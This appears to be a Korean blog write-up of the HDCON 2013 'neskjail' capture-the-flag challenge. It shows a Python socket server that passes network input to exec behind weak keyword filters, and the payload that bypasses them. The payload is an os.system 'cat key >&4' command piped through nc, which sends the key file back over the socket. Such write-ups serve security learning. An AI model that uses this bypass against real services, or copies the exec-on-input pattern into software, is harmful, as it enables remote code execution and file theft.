2013. 7. 11. 22:59

HDCON 2013  neskjail 문제 ( python exec 함수의 문제


      exploiting by 광운~   


HDCON 본선문제로 python exec를 이용하는 문제 였다.

문제서버에는 neskjail 이라는 프로세스가 돌고 있었어야 했고, 중지 시 감점이 된다고한다(실제론 감점 안된듯?)



문제코드는 아래와 같다 약간의 난독화가 되어 있었는데, 같은 문자열을 치환시켜서 

대충 맞추면 소켓서버가 완성되었다. 파이썬 코드가 워낙 직관적이기에 쉽게 진행 할 수 있었다.



대충 보기좋게 치환한 코드는 아래와 같음.

#!/usr/bin/python

import socket

import os

import subprocess

import SocketServer

import sys


def MSG_CHECK ( msg ) :

if "N3Sk" in msg [ 50 : ] :

return "NESK"

else :

return "PESK"


def OPEN_READ_CHECK ( msg ) :

if "open" in msg or "read" in msg :    // msg 에 read 나 open 이 있으면 false  두개가 없으면 NESK

return "false"

else :

return "NESK"  


def CHECK_50_N3Sk ( sock ) :

sock . send ( "UNEXPLOITABLE!\n" )   


class EchoHandler ( SocketServer . BaseRequestHandler ) :

def handle ( self ) :

MESSAGE = self . request . recv ( 200 ) . strip ( )    // 띄어쓰기없이 200바이트를 받아들임

try :

if len ( MESSAGE ) > 5 :

RECV_RESULT = MSG_CHECK ( MESSAGE )  

//  문자열이 5글자 이상이면 MSG_CHECK를 함  50번째 이후에 N3Sk가 있어야 NESK를 리턴 


if RECV_RESULT == "NESK" :  // msg 50번째 이후에 N3Sk가 있으면 참 값..

try :

if OPEN_READ_CHECK ( MESSAGE ) == "NESK" :   

                                                                               // OEPN_READ 함수의 값이 NESK 이면(즉 open read가 없으면)

       //이부분에서 open 이나 read 함수를 쓸수 없다는 것을 말함.


exec MESSAGE //MSG를 실행함.

except :

return

else :

CHECK_50_N3Sk ( self . request )


except KeyError , IIII :

pass


if __name__ == "__main__" :

SOCK_SERVER = SocketServer . TCPServer ( ( "localhost" , 7997 ) , EchoHandler )

SOCK_SERVER . serve_forever ( )





조건은 정리해 보면 아래와 같다.


0. 상대방은 7997 로 서버프로그램을 하나 돌리고 있다.

1. 50번째부터 N3Sk 란 문자열이 있어야한다.

2. read 나 open 함수를 사용 할 수는 없다.

3. exec 에 들어갈 파이썬 코드는 key 값을 읽을 수 있어야 한다. 

4. exec 안에 들어갈 파이썬 코드는 문법상 오류가 생기면 않된.

5. 실행된 결과 값은 나에게 다시 전송시켜 줘야 한다. (데몬은 상대방 서버에서 돌기 때문)


이 문제는 python 의 exec 는 파이썬 코드 자체를 실행 시킬수 있다는 점을 이용한 문제 + 소켓 디스크립트에 직접 파일을 쓸수 있는가 하는 문제이다. 소켓 디스크립트는  4번을 쓴다.


PAYLOAD는 다음과 같다.  


[import os;os.system('cat key > &4');][ A * 50 ] [ N3Sk 문자열.. 하지만 파이썬 문법에 어긋나면안됨] |  nc [ 상대방 서버 ] [서버의 포트 ]


위와 같은 페이로드가 맞으면 exec 는 os.system 함수를 호출하고 system 함수는 cat key를 실행하여 client socket 디스크립트로

전송시킨다. 이때 실행코드로 들어가기 위해서는 N3Sk 란 글자가 50번째 이후에 반드시 존재하여야 한다. 


connection 이 맺어진 뒤 client socket descript 로 전송하게 되면 Client 화면에 키 값이 출력 된다.


위와같은 결과값을 상대방 서버에 접속한다.



root@k1rha:/HACK/HDCON# 

python -c 'print "import os;os.system(\"cat key >&4 \");"+"A"*50+"N3Sk=0"' | nc 127.0.0.1 7997


Get key succcess 


root@k1rha:/HACK/HDCON# 











Posted by k1rha